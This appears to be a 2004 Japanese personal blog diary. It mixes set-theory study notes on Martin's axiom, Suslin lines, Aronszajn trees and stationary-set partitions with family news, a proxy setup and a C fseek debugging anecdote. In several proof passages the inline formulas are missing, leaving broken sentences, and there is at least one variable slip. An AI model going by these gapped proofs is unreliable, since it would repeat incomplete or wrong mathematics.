要するに ${\rm~P}$ は自然数の有限領域で定義された 0,1 値関数全体の集合で、順序は ${p}\le{q}~\leftrightarrow~{q}\subset{p}$ により定義します。ここで次の稠密な集合族を考えます。
$D_n~=~\{p\in{\rm~P}\,|\,n\in{\rm~dom}(p)\}\quad(n\in\omega)$
$E_f~=~\{p\in{\rm~P}\,|\,\exist{n\in\omega}({f(n)}\neq{p(n)})\}$ ただし $f$ は $\omega$ から 2 への関数。言い替えると $f\in{2^\omega}$
$(D_n)_{n\in\omega},\,(E_f)_{f\in{2^\omega}}$ はいずれも ${\rm~P}$ で稠密であることはすぐに分ります。さてここで ${\rm~MA}(2^\omega)$ を仮定すると $(D_n)_{n\in\omega},\,(E_f)_{f\in{2^\omega}}$ いずれとも空でない共通部分を持つフィルター $G$ が存在することとなります。 $G$ がフィルターであることから $g=\bigcup{G}$ は $\omega$ の部分集合からの 0,1 関数となり $(D_n)_{n\in\omega}$ のいずれとも空でない共通部分を持つことにより ${\rm~dom}(f)=\omega$ が成立します。さらに $G$ が $(E_f)_{f\in{2^\omega}}$ いずれとも空でない共通部分を持つことにより $g$ はいずれの $f\in{2^\omega}$ とも異なることが分りこれは矛盾です。
ここからは完全な耳学問で真面目に勉強した訳ではないのですが、最後の証明はとても示唆に富んでいます。即ち集合論の推移的な可算モデル(ここではこの存在に関する議論は行いません。というか勉強不足！！) ${\cal~M}$ を考え $({\bf~P}\,,\le)\in{\cal~M}$ とします。このモデルに対して ${\rm~MA}(2^\omega)$ が成立しないという証明と同等の議論を行うと、可算モデル上で考えていることにより、上の議論と同様のフィルター $G$ の存在が証明出来るのです。ただし $G$ が ${\cal~M}$ の要素であると上と同じ矛盾が生じるので $G\not\in{\cal~M}$ であることが分ります。言い替えると ${\cal~M}$ から見て $G$ は完全に仮想(virtual)の世界にあり(実数だけしか存在しない宇宙から見た虚数みたいなものです)、そのモデルに存在しない「仮想実数」を定義することになるのです。さて余計なおしゃべりは終わりにして、次回からは Martin の公理から導出される、いくつかの興味深い事実に関して言及する予定なのですが、やはり Almost disjoint family に関する議論ははやっておかないといけないかも知れません。

2004年8月31日(火)

Suslin 直線(Suslin line)
[集合論雑記目次]
実数直線 ${\bf~R}$ の通常の全順序構造が次の性質で一意に決定されることは良く知られています。
(a) 左右に非有界である
(b) 完備である(任意の有界部分集合に対して上限と下限が存在する)
(c) 可算な稠密集合を含む(稠密とは ${a}\lt{b}$ なる $a,b\in{\bf~R}$ に対して ${a}\lt{c}\lt{b}$ なる $c\in{{\bf~R}}$ が存在すること. この性質を separable と言う)
さてここで (c) の条件を次のように弱めることが可能かが大問題なのです。
(c') 互いに素な開区間はすべて可算である
一般の全順序集合で (c') の条件を満たすものを「countable chain condition を満たす」略して「c.c.c を満たす」言います。(c) が (c') を導くのはほとんど明らかですが、この概念を一般化した Suslin 直線を定義します。
[Suslin 直線の定義]
次の条件を満たす全順序集合を Suslin 直線(Suslin line)と称する。

(a) 完備である
(b) c.c.c を満たす
(c) 可算な稠密部分集合は存在しない(separable でない)

[Suslin 仮説]
Suslin 直線は存在しない
Suslin の仮説と、実数が実数の特徴付けの部分に記述した (a)(b)(c') の性質で特徴づけられることは同等です。さらに Suslin 仮説は ZFC と独立であることが知られています。実際今後展開するを仮定すると Susulin 仮説が証明可能でありを仮定すると Suslin 仮説の否定が証明可能です。さらにが regular の場合のまたいずれも ZFC と矛盾しないことが知られています。
$\omega_1$ -Suslin 木と Suslin 直線には強い関連があります。
[定理]
$\omega_1$ -Suslin 木の存在と Suslin 直線の存在は同等である
まず Suslin 直線から -Suslin 木を構成するのは比較的容易です。を Suslin 直線とするとき最初にを S から適当に選んだ開区間の一つとします。さてなるまでが定義されていたとします。このときを開区間の列の両端全体からなる集合とします。が可算であることと、が Suslin 直線であることにより、は稠密ではありえません。そこでをと共通部分をもたなく両端が一致しないの開区間の任意の一つと定義します。ここでと定義するとはの包含関係の逆の順序から導入された順序で -Suslin 木となることが比較的容易に証明できます。逆の証明はもう少々面倒で、まず -Suslin 木を「正規化(normalize)」しておく必要があります。
[補題]
$\omega_1$ -Suslin 木 $T$ に対して次の性質をもつ $\omega_1$ -Suslin 木 ${\rm~(normal}\,\,~\omega_1-{\mbox~Suslin~tree)}$ $T^'$ を構成可能である。
(a) 任意の $x\in{T^'_{\alpha}}$ に対し $\{y\in{T^'_{\alpha+1}}\,|\,x<y\}$ は可算無限。言い替えると x の「直接の後継(successor)」なる要素全体は可算無限
(b) $\alpha<{\rm~ht}(T^')$ を極限数として $x,y\in{T^'_{\alpha}}$ が $\{z\in{T^'}\,|\,z<x\}=\{z\in{T^'}\,|\,z<y\}$ を満たすとき $x=y$
(c) $\forall{x\in{T^'}}\forall{\alpha<\omega_1}({\rm~ht}(x,T^')<\alpha~\rightarrow~\exist{y\in{T^'_{\alpha}}(x<y))$
補題の証明は省略しますがを normal-ω₁木とするとき Suslin 直線は次のように構成されます。
$S$ を $T$ の枝(branch)全体からなる集合とする
さてこの集合に適切な全順序構造を定義する必要があるのですがから導入される「辞書式順序」を導入するのです。まずに対するの successor 全体は可算無限なので有理数と同型な順序を定義しておきます。のもともとの順序とその順序に対しての順序を次のように定義します。
$x,y\in{S},{x}\neq{y}$ のとき $\alpha=\min\{\alpha\in{T}\,|\,{x_\alpha}\neq{y_\alpha}\}$ とし( $x_\alpha$ は枝 $x$ の要素を「下から」数え上げた $\alpha$ 番目の要素。正則の条件の (b) によりこの順序数は極限数とはならない)。このとき $x_\alpha,\,y_\alpha$ はある $T_{\alpha-1}$ の要素の successor となるのでその順序を $<$ で表すこととすると $x_\alpha<y_\alpha,\,y_\alpha<x_\alpha$ のそれぞれの場合に対応して $x\,<_S\,{y},\,y\,<_S\,{x}$
さてここで構成したは Suslin 直線です。まず完備であることですが
$x,y\in{S},\,{x}\neq{y}$ とすると $S$ の順序の構成で使用した $x_{\alpha},\,y_{\alpha}$ は有理数の順序と同型に並べられているので $T_{\alpha}$ の同一の要素の successor となる $z_{\alpha}~\quad~x_{\alpha}<z_{\alpha}<y_{\alpha}$ が存在し $z_{\alpha}$ を下方向には自明に延長した鎖を考え、それを含む枝の一つを考えれば証明完了です。
次にが c.c.c(countable chain condition)を満たすことですが、もし上に開区間の非可算なる分割が存在すると、おのおのの開区間に対しての全体を考えるとこれは非可算な反鎖となり矛盾。最後にが可算な稠密集合を持たないことですがを可算集合とします。このときの正則性により、が存在し任意のに対してとなります。このときの要素を選択しそれを二つの枝に拡張しての開区間(の両端)を作成すると、その開区間はと交わりません。
さてまだ基本的な部分で書かなくてはならないこととして、
- 分割の性質. $\kappa\rightarrow~(\lambda)^{r}_{s}$
- Almost disjoint family(「ほとんど素な集合族」とでも訳すのだろうか...)
- Lebesgue measure や Borel sets の基本的な性質
等があるのですが、このあたりは必要が生じたら言及ということで、そろそろ Martin の公理に入ろうと思いますが、今後話を進める場合、上に書いたような Combinatorial な部分の勉強不足がちょいとつらいところであります。余談ですがうれしいことに、ここまでぼちぼち勉強すると、最初はちんぷんかんぷんだったいくつかの巨大基数の定義(だけですが...)が理解可能となりまして、列挙致しますと、
- 到達不可能基数(強極限な正則極限基数)
- 弱マーロ基数 κ( $\{\lambda<\kappa\,|\,\lambda\,\,{\rm~is~regular}\}$ が定常集合)
- 強マーロ基数 κ( $\{\lambda<\kappa\,|\,\lambda\,\,{\rm~is~inaccessible}\}$ が定常集合)
- 可測基数 κ(κ上に κ-complete 超フィルターが存在する)
- 弱コンパクト基数 κ( $\kappa\rightarrow~(\kappa)^{2}_{2}$ が成立する)
- 強コンパクト基数 κ (κ上の任意の κ-complete フィルターが κ-complete 超フィルターに拡張可能)
こうしてみるとデルタレンマの関連で、閉非有界集合を勉強したのはなかなか良かったと再認識するのであります。
集合論雑記目次の参考文献に「巨大基数の集合論・A.カナモリ著渕野昌訳」を追加しました。

2004年8月30日(月)

IBM vs ELECOM with 自慢話
突然なのですが、下の写真が R30 を購入したときの「一万円プラス」キャンペーンのおまけでして、一万円余分に払うと、
- メモリー 256M バイト追加
- 専用かばん
がついてくるというものだったのです。当時 256M バイトのメモリーが一万円位した時代だったと思うので、かばんの値段はほぼ無料ということになります。

それはそうとロゴみてください。いやーかっこいいですね～。品格がありますね～。IBM のロゴですよ！！ IBM のロゴ。素晴らしいですねー。
ということで、どうでも良い自慢話(じまんになってない^^)はこの位にして、いまいち良く分らないのは、私の感覚からすると AC アダプターが会社に鎮座しているのでしたら、それを挿す方がドッキングステーションみたいなのに入れるのよりはるかに楽だと思うのですが、このあたりはなにか高尚なる理由があるのでしょうか。それとも単なる感性の違いなのか...。ちょっと謎だったりするのです。どんなものなのでしょう(^^。
なるほどたしかに X24 の大リーグ養成げた(ふっ古い^^)と違ってなかなか使いやすそうですな。

2004年8月29日(日)

浩子さんのお誕生日
本日は浩子さんのお誕生日、ということでまことにおめでとうございます。
宿題追い込み大作戦
モカちゃんが宿題追い込みモードに入ったのです。いちおう算数や国語の「普通の」宿題は夏休みの最初の頃に終わらせてあるのですが(えー信じられない～ ←私の声)、理科の自由研究が残っているのです。まあ小学生の理科の自由研究というものは大体親がやるものでして、わたしは算数以外全然分らないので、結局奥さまの自由研究ということになりまして、モカちゃんは奥さまの研究結果を書き写す、というのが主たる作業となります。今年のおうちのテーマは「うずまきの研究」
朝顔のつるに関すること
お風呂のうずまきに関すること。うずのでき方と水の流れの関係
がりがりとんぼはなぜ回る

ということなのですが、これらを全部まとめようとすると、書く量が異常に多かったりします。ところで、特に朝顔とうずに関しての実験結果を見ますと、どうも一般的に信じられていることと大分異なるようでして、これはもしかして偉大なる新発見なのかも知れません。もしそうですとこれは大変なことであり、モカちゃんの史上最年少ノーベル賞はもちろんのこと、実質は奥さまの実験ですので、史上初の親子同時ノーベル賞受賞は確実でなのです(^^。

2004年8月28日(土)

夏休み～
今日からちょっと遅めの夏休みで来週の木曜日までお休みなのです。

2004年8月27日(金)

AH-K3001V の USB ケーブルをなくす
昨日の出勤のとき結構長時間使用したので、ちょいと充電しようかな～、と思いかばんの中にいつも入れてある USB ケーブルを探したのですが、
どこにもありません(-_-)
おうちで出した覚えもないので、電車の中で本を出したときかなんかに、落っことしてしまった可能性が強いのです。幸か不幸か AH-K3001V の USB ケーブルは LUMIX DMC-FZ1 のケーブルとおんなじ規格なので(これは結構便利！！)、今日からはそちらを使用です。でもこれで予備のケーブルがなくなってしまったので、どっかから安いのを一つ調達しといた方が良いかも知れません。

2004年8月26日(木)

とっても無駄遣い会社の空調
外はとっても蒸し暑いのですが、会社の中とても寒いのです(^^;。私の勤めている会社は、とあるビルの 10階でして、空調はビル全体で管理されていて、各事務所で調整出来ないのです。しかも冬になるとこんどは暑くなりすぎで扇風機のお世話になったりして、いやはやまことに困ったもので、お金ももったいないし、なにより環境に対してとってもよろしくないのであります。
圧縮プロキシー使用感
数日前から自宅サーバーに、人様から設定をまるごともらった、AH-K3001V 用圧縮プロキシーを導入したのですが、その使用感なのです。
- 私がうろつくのは大体人様の日記とニュース系のページがほとんどなのですが、やはり画像を見ることが出来るとうれしい。
- 事前に画像の横幅を 240 ピクセルに縮めているのと JPEG の圧縮率を大きくした効果が感じられ、なんにもしない場合画像付きではほとんど使いものにならなかったのが、実用的な速度になった。
- なんか電池の持ちが若干悪くなったような気がする(^^。テキストのみのときはテキストをダウンロードして終わりだったのが、今は読んでいるときにも画像をダウンロードしていて、そのデコード等の負荷が大きいと推測される。
- 画像が多いページだとテキストスクロールの反応が極めて悪くなる場合がある、そういう場合キャンセルキーで転送を止めてしまう場合が多い。
- いまやこのページが日記系では一番極悪(＊)であることに気がついた(^^。数式は横幅が短いものはまともに見える。
ということで、問題点も若干あるのですが(プロキシーではなく回線の遅さ)、しばらく画像付きモードで色々遊んでみようと思っているのであります。余談ですが AH-K3001V の 3段階電池残量表示はなかなか正直で、こういう場合 3 本旗が立ってたのが 2本になると、その後あっと言う間に電池がなくなってしまう場合が多いと思うのですが、この機種の場合旗が 2本になってからの「ねばり」が素晴らしいのです。今まで 1本になるのを見たことないです。
(＊) [極悪] 画像等が多く重いページのこと(RFC 271828182)

2004年8月25日(水)

弘前～東京・横浜方面覚え書き
こんなバスがあるそうな。泊まらないですむしなんといっても安い。考慮に値しますな(^^。
もうすぐ夏休み
というわけで今週いっぱい働くと土日から来週の木曜日まで６日間の夏休みなのです。仕事がどうのこうのというより片道二時間強の通勤がきついので、あんまり寝すぎないようには注意するにしても、ひさびさにのんびりと過ごしたいものです。休み中の目標は集合論の勉強をなるべく進めること(←何がのんびりなんだか^^) なのですが、さてさてだんだん難しくなってきたので、どこまで進展することやら。
そういえば姫の夏休みの宿題の追い込みも...(^^。

2004年8月24日(火)

一回休み

2004年8月23日(月)

谷山浩子コンサート～江東区文化センターホール
12月25日(土)に行われるそうで、9月10日前売券発売だそうな。残念ながら FC 先行予約はなし。谷山浩子さんのページ更新。
アイネットディメンテナンス(過去形)
本日未明女子マラソンを見終って(今回初めてオリンピック見た)、朝の３時頃にアイネットディのサーバーにログインしようと思ったら、 ssh の接続は出来たのですがパスワード入力プロンプトが出たのです。むむむっ、.ssh の下に authorized_key2 を置いてあるのでなんにもしなくても入れるはずなのにどうしたのだろう。と思ってパスワードをいれたのですがそれでも入れません (^^;。
そういえばディスク容量増加(100M から 300M)に対応するメンテナンスがあるというメールが来た記憶が...。ということで古いメールをあたってみたところ、やはり本日の未明にメンテナンスがあったということで、まあこんな時間に来られた方はほとんどいなかったと思うのですが、 evariste.que.ne.jp 経由の方にはご迷惑をおかけ致しました。

2004年8月22日(日)

圧縮プロキシー導入
AH-K3001V 用の画像等圧縮プロキシーがなかなかよろしい、といううわさを聞きまして、おうちでも導入なのです。まずはこちらから delegate8.9.5.tar.gz なる tar 玉をダウンロード・展開して make ですが、こちらは全然問題なく進みまして、さてさて環境設定と思ったのですが、いやはやこちらはとっても難しそうなのです。そもそも認証の問題もうまく解決できず圧縮以前の単なるプロキシーとしての動作もうまくゆきません(^^。うーむ、実は delegate は4回目位の挑戦なのですがまたまた挫折なのか～、と思いつつとある人にヘルプを求めたところ、なんとうれしいことに設定ファイルそのもの全部を送って下さりまして(そんな厚かましいお願いを？)、それをまねしたらすぐに動くようになったのです。どうもありがとうございます。
使用感なのですが、さすがに事前に横幅を縮めてある効果は絶大で、なかなか高速な画像ダウンロードが可能なのです。ただし画像ダウンロード中に AH-K3001V 自体の動きがとろくなるのがちょっと残念というところです。いずれにしても今までは画像のページはほとんど使いものにならなかったのですが、今後用途に応じて画像あり・なしを適時切替えて使用することになりそうです。

2004年8月21日(土)

おおくわがたをもらう(^^
先日死んでしまったおおくわがた(アンタエウス)ですが、譲って下さった方に「あんまり長生きさせることが出来ないで申し訳けありません」とあやまったところ、なんとこんどはつがいで譲って下さるということで、昨日会社に持ってきて下さったのです。どうもありがとうございます。というわけでこんな状態のを梱包してえっこらえっこらおうちに運んだのですが、いやはや X24 や集合論本なんかは別の鞄に入っていたので結構大変でした(^^。

オス
メス

前回のは冬場に温かい部屋に置いて冬眠しなかったのが良くなかったらしく、今年の冬は奥の寒そうな部屋で飼う必要がありそうです。余談ですがオスとメスをいっしょにすると、すぐけんかになってどちらかが死んでしまうそうなのですが、当然いっしょにしなくてはいけない期間はあるはずで、いつ頃が良いのかも確認する必要があるのです。

2004年8月20日(金)

モカちゃん帰宅

モカちゃんが三泊四日の「サイエンス倶楽部・奄美大島合宿」から帰宅したのです。丁度台風がきてたということで雨が心配だったのですが、運良くバスに乗っている時とかに降ってくれて、実習時にはほとんど降らなかったらしいのです。

8月17日(火)

9時00分	羽田空港出発
11時10分	奄美大島空港到着
11時50分	「浜千鳥館」なる場所で昼食
15時00分	瀬戸内町古仁屋港到着
18時00分	ホテル「ビッグマリン奄美」到着

8月18日(水)

9時10分カヌー発着所到着

9時30分カヌーにてマングローブ林探検！！

12時20分マングローブパーク着

14時00分ヒルギ観察台到着

17時00分ホテル到着

8月19日(木)

10時20分	「奄美海洋展示館」到着・珊瑚観察等
13時20分	小浜海岸到着・タイドプールの生物観察
18時30分	「奄美海洋展示館」前でサンセットバーベキュー

8月20日(金)

10時20分「奄美自然観察の森」到着

14時20分奄美空港出発

15時10分鹿児島空港到着

15時30分鹿児島空港出発

17時10分羽田空港到着

というわけで本日奥さまが空港まで迎えにいって、おうちに帰って来たのが 20時頃だったそうで、私が 21時頃おうちに帰ったら姫さまはもう寝ていたのであります。肝心のおみやげなのですが、今回は「おみやげを買う時間」が 15分しかなく選び切れなかったということで、みんなのお菓子等々は買ってきたのですが、私専用のものを買う時間がなかったそうな(^^。

奥さまが空港で買ってきたお菓子

奥さまの誕生日
今日は奥さまの誕生日なのですが、モカちゃんお迎えとか忙しくて何も出来なかったのです。でもすでに一週間前腕時計をプレゼントしてあったのです。
＃モカちゃんが無事に帰って来たのが一番のプレゼントかも...(^^。
昨日は一日寝て過ごす
実は一昨日から昨日にかかてひさびさに徹夜でデバッグだったのです。なんのかんのデバッグともなると萌えるのですが、分かってみるとどうでも良いちょんぼでした。なので昨日は朝帰りで、
- 朝風呂に入った
- 朝食を食べて寝た
- お昼に起きて昼食を食べて寝た
- 夜に起きて夕食を食べて、数学の勉強でもしようと思っていたらまた寝てしまった
というわけで、食っちゃ寝食っちゃ寝という惨澹たる状況で 18時間位寝てたという...。むむむむむっ、これはいくらなんでも寝すぎですな。とにかく今日中になんとか形を仕上げて土日は規則正しいお休みをしたいものです。

2004年8月19日(木)

木(tree)に関する諸定義
[集合論雑記目次]
Martin の公理や $\Diamond$ を楽しむためにもう少々。本日は、木(Tree)に関する最初の話題です。 $T$ を最小元を持つ半順序集合とするとき、すべての ${p}\in{T}$ に対して $\{q\in{T}\,|\,q<p\}$ が整列集合になるとき $T$ を木(tree)と呼ぶのでした。Tree に関していくつかの定義を列挙します。
${\rm(a)}\,\,~{\rm~ht}(p,T)~=~\mathrm{ht}(p)~=~\{{q}\in{T}\,|\,q<p\}$ の順序型
${\rm(b)}\,\,~{\rm~ht}(T)~=~\sup\{{\rm~ht}(p,T)+1~\,|\,p\in{T}\}$
${\rm(c)}\,\,~\mathrm{Lev}_{\alpha}(T)=T_{\alpha}=\{p\in{T}\,|\,{\rm~ht}(p,T)=\alpha\}$
${\rm(d)}$ 極大な鎖を枝(branch)と呼ぶ
が成立します。
[Suslin tree の定義]
$\kappa$ を基数とするとき $|T|=\kappa$ で、任意の鎖(chain)と反鎖(antichain)の基数が $<\kappa$ である木(tree) $T$ を κ-Suslin tree と呼びます。

[κ-tree,Aronszajn-tree の定義]
$\kappa$ を正則基数とするとき
${\rm~ht}(T)=\kappa,\,~\forall{\alpha<\kappa}(|T_{\alpha}|<\kappa)$
が成りたつ木(tree) $T$ を κ-Tree と呼ぶ
さらに
κ-tree $T$ のすべての鎖(chain)が $<\kappa$ のとき $T$ を Aronszajn-tree と呼ぶ

$\kappa$ が正則基数のとき κ-Suslin tree が κ-Aronszajn tree となることはほとんど明らかです。また ω-tree が少なくとも一つの無限鎖 (chain)を持つこともほとんど明らかです。従って次の定理が成立します。

$\omega\mbox{-Aronszajn\,\,tree}$ は存在しない。ましてや $\omega\mbox{-Suslin\,\,tree}$ は存在しない

$\omega_{1}$ に関しては大いに事情が異なります。即ち
$\omega_{1}\mbox{-Aronszajn~tree}$ は存在する
$\omega_{1}\mbox{-Suslin~tree}$ が存在するかどうかは ZFC と独立かつ無矛盾である
事実が成立します。は次のように構成されます。まず超限帰納法によりから開始してに対し次の level の集合が定義可能です。
${\rm~(a)}\,\,T_{\alpha}~\subset\,~{^\alpha}\omega,\,|T_{\alpha}|\leq{\aleph_0}$
${\rm~(b)}\,\,f\in{T_{\alpha}}$ のとき $f$ は一対一で $\omega~-~{\rm~ran}(f)$ は無限集合
${\rm~(c)}\,\,\beta<\alpha,\,f\in{T_{\alpha}}$ のとき $f|\beta\in{T_\beta}$
${\rm~(d)}\,\,\beta<\alpha,\,f\in{T_{\beta}},\,X\subset{\omega}-{\rm~ran}(f)$ を有限集合とするとき $f=g|\beta,\,{\rm~ran}(g)\cap{X}=\emptyset$ を満たす $g\in{T_{\alpha}}$ が存在する. ${T_{\alpha}}$ は $f\in{\bigcup_{\beta<\alpha}T_{\beta},\,X$ に対して前記性質をもつ $g$ を一つ選択したもの全体とする

このときが順序に関してになるのです。上で定義した木は Suslin tree にはなりません。なぜならは各に対し反鎖(antichain)になり、これの和集合を考えるとその基数はとなるので少なくとも一つのは非可算となるからです。さらに一般の基数に関しての Aronszajn tree の存在に関する性質については次の事実が知られています。
(a) が特異基数(singular cardinal)の場合 κ-Aronszajn tree が存在する.( に対してのより小さい分割を考え、各分割内で独立した順序を考え 0 を最小元として張り合わせれば良い).
(b) が正則基数(regular cardinal)でを満たしのとき κ-Aronszajn tree が存在する.( の場合のの条件を「非定常集合」として証明する)
(c) GCH の仮定のもとでなる正則基数に対して
- κ は到達不可能基数
- κ は「特異基数の次の基数」
以外の場合 κ-Aronszajn tree が存在することが知られている
次回は Suslin line の定義・性質と Suslin tree の関連について記述する予定です。
favicon.ico を作ってみる
ご覧になればすぐに分かるように、このホームページは単なるてぬきと能力のなさから、何の色気もないというのが特徴だったりします。で、少しは色気をもたせようかと favicon.ico を置いてみたのです。肝心のデザインですが、もとより自分で作るのは不可能ということで、集合論で非常に良く使われる記号の $\omega$ と ${\omega_\alpha}$ だったりしますが、不満点も色々ありまして、
- 16x16 ピクセル用も $\omega_\alpha$ にしたかったがサイズがうまくおさまらなかった。
- 本当は $\aleph$ とか $\aleph_\alpha$ にしたかったが、数式として書くのはともかく、アイコンにすると某団体関連と思われそうなので断念(こんな由緒正しい名称使うなよなー)。
- 本当はフォルダーの様な感じの背景に文字を書くとかっこよいはずだがその能力がない。
等々なのです。作り方の手順ですが次の通りです。
- LaTeX+xdvi もしくは mimeTeX 等を使用して数式ビットマップイメージを作成する。
- GIMP 等で 16x16 と 32x32 のビットマップに埋め込み、BMP で形式で保存する。
- ToICO なるツールを使い ICO 形式に変換し favicon.ico なる名称で保存する。Windows 上で変換するなら色々なソフトがありそう。
- favicon.ico を /usr/local/www/data/ にコピーする。
こんな感じでブラウザによってはが URL 表示の部分に現れるようになると思いますが、いやはや見栄えがいまいちですな。かといって改善する能力もないし。どうしよう...(^^。
さらに IE で URL をデスクトップのショートカットにすると ${\omega_\alpha}$ が現れたりしますが、こちらも見栄えがよろしくないのです。

2004年8月18日(水)

アイネットディーに支払い
そう言えば、今月の始めにアイネットディー

からのメールで一年分の請求書が来ていまして、今月中に支払う必要があったのです。本当はすっかり忘れていてかなり危ない状態だったのですが、突然思い出して今日支払いを行ったのです。おうちはセブンイレブン支払いということになっていまして(どういう経緯だかは忘れた)、支払い手数料込みで10,062 円なのです。アイネットディーの用途としましては、
- 私の「正式な」メールアドレスの管理
- 一月分のメールバックアップ
- ホームページの転送、並びに自宅サーバーが壊れた等、いざというときのホームページ置き場所
- ドメイン(これは別料金)と DDNS の管理
- その他本当に重要なファイルの X24 R30 に加えたバックアップ場所
という感じなのですが、保守体制が極めて優良なのと、今までファイル消失等の重大な問題が発生したことがない、回線の速度も十分である(まあおうちの激とろ ADSL からだと...)、等々非常に満足しているのです。さらにうまいこと今回の支払いから値下がりかつ容量増大ということで、よほどのことがない限り契約を続けることになると思います。

2004年8月17日(火)

モカちゃん旅にゆく
本日から姫はこの夏休み二回目の合宿でして、三泊四日の旅行なのです。うーんつまんないですな。
現地は天気があんまりよくなさそう。もしかして雨女(^^。

2004年8月16日(月)

fseek ではまる
ちょいと簡単なプログラムを書いていたのですが、なぜか全然動きません(^^;。どういうものかと申しますと、
- ファイルにデータサイズを書き込む 4 バイトの領域を確保する。
- ファイルにストリーム(事前にデータサイズは分からない)を書き込む。
- 確保しておいた領域に戻りストリームのサイズを書き込む。
- 上記を繰り返す。
という
file :: size data [size data]
なる特に難しくもないフォーマットなのですが、これがうまくゆかないのです。プログラム自体はこんな感じでして(エラー処理は省略です)、
```
    ----------------------------------------------------------
    fp=fopen(...,"w");
    while (必要な間) {
        pos=fseek(fp,0L,2);      /* ファイルの末尾に移動 */
        fwrite(buf,1,4,fp);      /* 4 バイト穴をあける */
        while (ストリームの区切りまで)
            fwrite(buf,1,count,fp);
        fseek(fp,pos,0);         /* さっきの穴に移動 */
        fwrite(ストリームのサイズを整形したもの,1,4,fp);
    }
    fclose(fp);
    ----------------------------------------------------------
```
特に間違っているとも思わなかったのですが、サイズが常にファイルの先頭に書かれてしまうのです。むむむむむっ、何を勘違いしているのだろうか...。ということで man で fseek(3) を調べると、
```
     The fgetpos(), fseek(), fseeko(), and fsetpos() functions return the
     value 0 if successful; otherwise the value -1 is returned and the global
     variable errno is set to indicate the error.
```
なんと成功すると 0 を返すという(^^;。いやはや lseek(2) とおんなじで常に移動した位置を返すのかと思っていのですが、ゼロなんですか...。というわけで ftell(3) で位置を覚えるように変更したら問題なく動くようになったのですが、まあ注意力不足といいますかなんといいますか、ろくにドキュメントを読まず推測だけで書くのが一番の問題ですな(^^。
おおくわがた死す
一年ほど前にもらったおおくわがたなのですが、本日の朝お亡くなりになってしまいました。この種類のくわがたは暑さに弱いということで、出かけるときもなるべく冷房を切らないようにしていたのですが、やはりこの夏の猛暑には勝てなかったのかも知れません。さらにくわがたを飼ってたおうちの居間は日当たりが良く、冬の間も割と温かかったので、本来冬眠すべきときに冬眠しなかったのも寿命を縮めた原因かもしれません。いずれにしても残念ですな。さらにくれた方にはなんか言い出しにくくって、まだ報告してなかったりします。

2004年8月15日(日)

いっかい休み

2004年8月14日(土)

横須賀市自然・人文博物館
今日は奥さまとモカといっしょに横須賀市自然・人文博物館に行ってきまして、「ホタル点滅の不思議～地球の不思議」なる講演会を聞いてきたのです。10時頃家を出て東海道線大船経由で横須賀へ。最初にホタル関連の展示会をを見まして、その後 14時から 16時までの講演を聞いたのです。昼間の行事ということで、現物のホタルにお目にかかることはできなかったのですが、なかなか面白い話を沢山聞けたのであります。

横須賀の海
横須賀駅前の公園

世界最大のホタル
横須賀の街並み

2004年8月13日(金)

二女のメール
会社で仕事してたら、突然二女の携帯からからメールありて、とあるメールが自分宛に届いてるか調べて欲しいとのこと。調べるのは簡単で、root になって自宅サーバーの /var/mail/ の下のメールボックスを覗けばよいのですが、いつも「絶対に私のメール読まないで！！」と言ってる割には必要にせまられると現金なものですな(^^。ちなみに、ご家族さまのメールの管理とスパムやウイルス避けはちゃんとやっているつもりですが、絶対に内容を見ないのはもちろんなのです。
でもハードウエアP biff 装置で奥さまのところのランプが点ると、牛さまを起動するのが面倒、ということで直接見てちょうだいと言われることは良くあったりします。

2004年8月12日(木)

定常集合の分割
[集合論雑記目次]
今回も $\kappa$ は非可算正則基数を表すこととします。これもちょいと驚きなのですが、定常集合は分割に関してかなり強い性質を持ちます。即ち次の定理が成立します。
[定理(Solovay)]
${S}\sub{\kappa}$ を定常集合とするとき次の分割が存在する。
$S=\bigcup_{\alpha<\kappa}S_{\alpha}\cr~S_{\alpha}~\cap~S_{\beta}~=~\emptyset\quad~(\alpha\neq\beta)\cr~S_{\alpha}~\,\,{\rm~is~stationary~for~any}~\,\,~\alpha<\kappa$
要するに κ-定常集合は常に κ 個の定常部分集合に分割可能ということなのです。証明は少々長くなりますが次の手順で行われます。
[補題 1]

$\lambda<\kappa$ として $E_{\lambda}=\{\alpha<\kappa~\,|\,{\rm~cf}(\alpha)=\lambda\}$ とします。このとき $E_{\lambda}$ の任意の定常部分集合は $\kappa$ 個の定常部分集合に分割可能
[補題 1] から次の事実が分かります。
[補題 1 の系]

$S\subset\{\alpha<\kappa\,|\,{\rm~cf}(\alpha)<\alpha\}$ を定常集合とするとき $S$ は $\kappa$ 個の定常集合に分割可能
系は $S$ 上の関数 ${\rm~cf}$ が退行的(regressive)であることから [補題 1] と Fodor の定理により得られます。この系により $S$ が正則でない要素を「たくさん」含んでいる場合は証明完了なので、残りは $S$ が正則な要素を「たくさん」含んでいる場合の準備です。
[補題 2]

$S\subset\{\alpha<\kappa\,|\,{\rm~cf}(\alpha)=\alpha\}$ を定常集合とするとき
$\{\alpha\in{S}\,|\,{S}\cap{\alpha}\,\,~{\rm~is~not~stationary~in}\,\,\alpha\}$ は κ-定常集合
証明は閉非有界集合(closed unbounded set ... club)の極限点全体がやはり閉非有界になることに注意すれば容易です。
[定理の証明]
[補題 1 の系]と[補題 2]により $S$ が正則な基数からなる定常集合の場合に証明すれば十分で、そのとき
任意の $\alpha\in{S}$ に対して $\alpha_{\xi}\not\in{S}$ なる増大列が存在し $\lim_{{\xi}\rightarrow{\alpha}}\alpha_{\xi}=\alpha$
が成立します。さて
$A_{\xi}^{\eta}=\{\alpha\in{S}\,|\,\alpha_{\xi}\ge{\eta}\}\quad(\eta<\kappa)$
とすると次の事実が成り立ちます。
(*) ある $\xi<\kappa$ が存在して、任意の $\eta<\kappa$ に対して $A_{\xi}^{\eta}$ は定常集合
実際 (*) が成立しないと仮定すると次の列を構成可能です。
任意の定義された $\xi$ に対して $\eta_\xi<\kappa$ と閉非有界集合(club) $C_{\xi}$ が存在し $C_{\xi}\cap{A_{\xi}^{\eta_\xi}}=\emptyset.$ 即ち $\alpha\in{C_{\xi}\cap{S}}$ のとき $\alpha_{\xi}<\eta_\xi$
ここで $C=\triangle_{\xi<\kappa}C_{\xi}$ 即ち定義された $\xi$ に対する $C_\xi$ の対角共通部分(diagonal intersection)を考えると
$\alpha\in{C}\cap{S},\,~\xi<\alpha~\,\rightarrow\,~\alpha_\xi<\eta_\xi$
が成立します。一方閉非有界集合
$D=\{\alpha\in{C}\,|\xi<\alpha\,\rightarrow\,\eta_\xi<\alpha\}\,\subset\,{C}$
